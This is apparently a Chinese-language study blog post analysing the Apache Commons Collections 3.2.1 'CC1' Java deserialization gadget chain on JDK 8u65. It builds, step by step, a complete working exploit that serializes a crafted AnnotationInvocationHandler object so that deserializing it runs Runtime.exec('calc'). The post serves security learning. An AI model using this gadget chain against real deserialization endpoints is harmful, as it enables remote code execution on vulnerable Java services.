Java反序列化 CC1链分析

CC1链子介绍

Commons Collections是Apache开源社区推出的一款针对Java集合框架的扩展工具库,它提供了大量额外的数据结构和算法,包括有序集合、队列、堆、双向映射等功能丰富的集合实现,以及诸如过滤、转换等高级操作接口。该库极大地补充和完善了Java标准集合API,让开发者在处理复杂集合数据时更加高效灵活,同时简化了代码编写,是Java项目中广泛应用的实用工具

CC1链分国内(TransformedMap)和国外(LazyMap),本文介绍的是国内的TransformedMap链,该链相比国外,结构更为直接,调用链清晰,适合快速构造验证和理解

环境准备

下载安装 JDK-8u65

官网:Java 存档下载 — Java SE 8 | Oracle 中国

安装之后配置到IDEA,在右上角文件处打开项目结构,或者直接用快捷键 Ctrl+Alt+Shift+S 打开

然后在项目处选择SDK为JDK 1.8.0_65

通过Maven下载CommonsCollections3.2.1

复制以下代码到pom.xml<dependencies>标签里面

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

保存即可

配置对应源码

jdk自带的包里面有些文件是反编译的.class文件,不利于研究分析,为方便调试,我们安装对应的源码

下载地址:jdk8u/jdk8u/jdk: af660750b2f4

点击zip下载压缩包,然后自行解压

在我们之前安装的jdk8u_65文件夹中,找到src.zip的压缩包,解压到当前文件夹下,然后把jdk-af660750b2f4\src\share\classes里的sun文件夹复制到jdk8u_65文件夹中的src里面

接着打开IDEA,在项目结构(Ctrl+Alt+Shift+S)里面找到SDK处,在源路径添加jdk8u_65的src文件夹,保存

到这里就配置完成了,可以开始调试分析了

CC1链分析

利用点

CC1源头就是Commons Collections库中的Tranformer接口,里面有个transform方法

寻找继承了这个接口的类,看看transform方法是如何实现的,可以快捷键Ctrl+Alt+B快速查看实现方法

发现InvokerTransformer类继承了该接口,重写了transform方法,同时还继承了Serializable接口,符合我们的要求

可以看到,这些参数都是可以控制的,那我们利用这点,传入参数调用invoke函数就可以触发任意类任意方法

我们的目标是实现Runtime.getRuntime().exec("calc");

构建以下代码实现,方法名为exec,参数类型为String,值为calc

1
2
3
4
5
6
7
public class test2 {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(r);
}
}

成功弹出计算器

溯源

接下来就是一步步回溯,寻找可以利用的类,直到到达重写后的readObject()方法

首先先寻找有哪些类的哪些方法调用了transform,右键点击查找用法(或者Alt+F7

发现TransformedMap类的checkSetValue方法调用了transform

再看看TransformedMap类的构造函数,可以看到由三个参数组成

其中第一个参数为Map类型,我们可以传入HashMap,第二和第三个参数为Transformer类型,同样可控

但是需要注意的是,TransformedMap构造函数属于Protected方法,不能通过外部直接调用,但很巧的是,在TransformedMap类找到了decorate方法,返回一个TransformedMap的实例对象,且属于Public static方法,外部可以直接调用

那我们可以构造代码,第一个参数传入map,第二个用不到就传个null,第三个参数传入invokerTransformer

1
2
3
4
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Map<Object, Object> map = new HashMap<>();
Map<Object, Object> transformermap = TransformedMap.decorate(map,null,invokerTransformer);

接下来就是要找哪里调用了checkSetValue方法,右键查找用法

发现有且仅有一处调用了checkSetValue方法,类名为AbstractInputCheckedMapDecorator,然后TransformedMap类刚好又继承了AbstractInputCheckedMapDecorator

AbstractInputCheckedMapDecorator类又继承了AbstractMapDecorator

AbstractMapDecorator实现了Map接口

而Map接口里的Entry有setValue方法,也就是说AbstractInputCheckedMapDecorator重写了setValue方法,而重写后的方法调用了checkSetValue,刚好符合我们的要求

因此我们对Map进行遍历,使其调用重写后的setValue方法,进而调用checkSetValue,执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
public class test2 {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// invokerTransformer.transform(r);
Map<Object, Object> map = new HashMap<>();
map.put("hello","world");
Map<Object, Object> transformermap = TransformedMap.decorate(map,null,invokerTransformer);
for(Map.Entry entry:transformermap.entrySet()){
entry.setValue(r);
}
}
}

成功弹出计算器

接下来我们继续分析,寻找哪些方法调用了setValue,右键查找用法

发现AnnotationInvocationHandler类的readObject方法调用了setValue,刚好满足我们的要求,也寻到了入口,一举两得

查看AnnotationInvocationHandler的构造函数,参数为一个Class对象和一个Map对象,其中Class对象继承自Annotation,需要我们传一个注解类进去,然后memberValues传入之前的transformermap

再看看AnnotationInvocationHandler的访问权限,发现并没有Public等访问修饰符,则默认表示Package-local方法,即只能在同一个包下访问,在包外的类中是不可见的,无法调用

但可以通过反射调用方法getDeclaredConstructor来获取声明构造函数,简单修改后就可以实现包外调用,这里介绍一下与getConstructor的区别

方法 查找范围 返回哪些方法 是否支持私有/受保护方法
getDeclaredConstructor 获取声明方法 只查本类 所有声明(包括私有、受保护等) 支持(需 setAccessible(true))
getConstructor 获取方法 本类和父类链 仅public方法(含继承) 不支持

因此我们通过反射来获取这个类,修改访问权限后就可以在外部调用了

1
2
3
4
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class);//获取构造器
annotationConstructor.setAccessible(true);//修改访问权限
Object o = annotationConstructor.newInstance(Override.class,transformermap);

拼接上之前的内容,就形成骨架,完成百分之七八十了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class test2 {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// invokerTransformer.transform(r);
Map<Object, Object> map = new HashMap<>();
map.put("hello","world");
Map<Object, Object> transformermap = TransformedMap.decorate(map,null,invokerTransformer);
// for(Map.Entry entry:transformermap.entrySet()){
// entry.setValue(r);
// }
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationConstructor.setAccessible(true);
Object o = annotationConstructor.newInstance(Override.class,transformermap);
serialize(o);
unserialize("cc1.txt");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.txt"));
oos.writeObject(obj);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}

但如果直接运行是不行的,这也就是剩下的百分之二三十需要我们解决的问题了

待解决问题

分析之前的代码,发现有三个明显的问题尚未解决

问题一:Runtime类没有继承Serializable接口,无法序列化

问题二:readObject()方法怎样通过两个if判断进入setValue()方法

问题三readObject方法里的setValue参数不可控

我们按顺序逐个解决以上问题

修补

问题一:

首先解决第一个问题,虽然Runtime类没有继承Serializable接口,但是Class类继承了Serializable,当Runtime在 JVM 加载后,会有唯一的 Class<Runtime> 实例,它是对 Runtime 这个类型的描述。我们可以通过反射实现Runtime

构造以下代码反射实现Runtime

1
2
3
4
5
Class cs = Runtime.class;
Method getRuntime = cs.getMethod("getRuntime", null);// 第二个null表示参数内容,加不加都可以
Runtime cmd = (Runtime) getRuntime.invoke(null, null);// 第一个null表示调用静态方法,第二个null同上
Method control = cs.getMethod("exec", String.class);
control.invoke(cmd, "calc");

验证一下,成功弹出计算器

然后改用InvokerTransformertransform实现以上代码

1
2
3
4
5
6
7
8
Class cs = Runtime.class;
// Method getRuntime = cs.getMethod("getRuntime", null);
// Runtime cmd = (Runtime) getRuntime.invoke(null, null);
// Method control = cs.getMethod("exec", String.class);
// control.invoke(cmd, "calc");
Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(cs);
Runtime cmd = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(cmd);

但是分开的话不好处理,需要找个方法合并起来,回到一开始的Transformer.java右键transform查找用法,发现ChainedTransformertransform方法可以循环遍历transform

看看构造函数,要求传个数组

那我们可以构造以下代码实现

1
2
3
4
5
6
7
8
9
10
11
Class cs = Runtime.class;
// Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(cs);
// Runtime cmd = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(cmd);
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(cs);

成功解决问题一

我们修改一下之前骨架的内容

1
2
3
4
5
6
7
8
9
10
11
12
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

// 将上面的代码修改成下面的代码

Class cs = Runtime.class;
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

问题二:

首先在AnnotationInvocationHandler类的readObject方法的第一个if判断语句处打断点,调试后可以看到memberType值为null,无法进入if语句

分析代码,可知memberTypes是表示注解类型里所有成员及其对应的数据类型的映射关系,然后memberType获取注解中成员变量的名称

一开始我们用的是注解Override,这里面没有成员变量

那就不用这个,继续寻找发现注解Target里有成员变量value,可以用这个

回到之前的exp骨架那里,修改两处地方

重新调试一遍,这次没有问题了,成功进入第一个if语句

接下来就是第二个if语句,只要我们传入的value既不是memberType对应类型的实例,也不是异常代理类对象ExceptionProxy实例,就可以进入if语句

因为成员value的声明类型是枚举数组ElementType[],而传入的是字符串"world",判断后返回false,然后经过取反后就变为true,成功进入if语句

问题三:

最后就是解决readObject()调用的setValue()参数不可控,继续分析代码,发现ConstantTransformer类刚好满足我们的要求,它重写后的transform可以返回我们传入的对象

修改之前的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Class cs = Runtime.class;
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

// 将上面的代码修改成下面的代码,添加ConstantTransformer

Class cs = Runtime.class;
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(cs),// 修改这里
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

完整代码

把之前的代码合并在一起,得到以下完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public class test2 {
public static void main(String[] args) throws Exception {
Class cs = Runtime.class;
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(cs),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashMap<>();
map.put("value","world");
Map<Object, Object> transformermap = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationConstructor.setAccessible(true);
Object o = annotationConstructor.newInstance(Target.class,transformermap);
serialize(o);
unserialize("cc1.txt");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.txt"));
oos.writeObject(obj);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}

成功弹出计算器,实现完整的漏洞链利用

到这里CC1的复现就结束了,确实不容易,不过收获很大,想要提升水平还是得多练代码审计,继续加油吧

作者

WayneJoon.H

发布于

2025-10-04

许可协议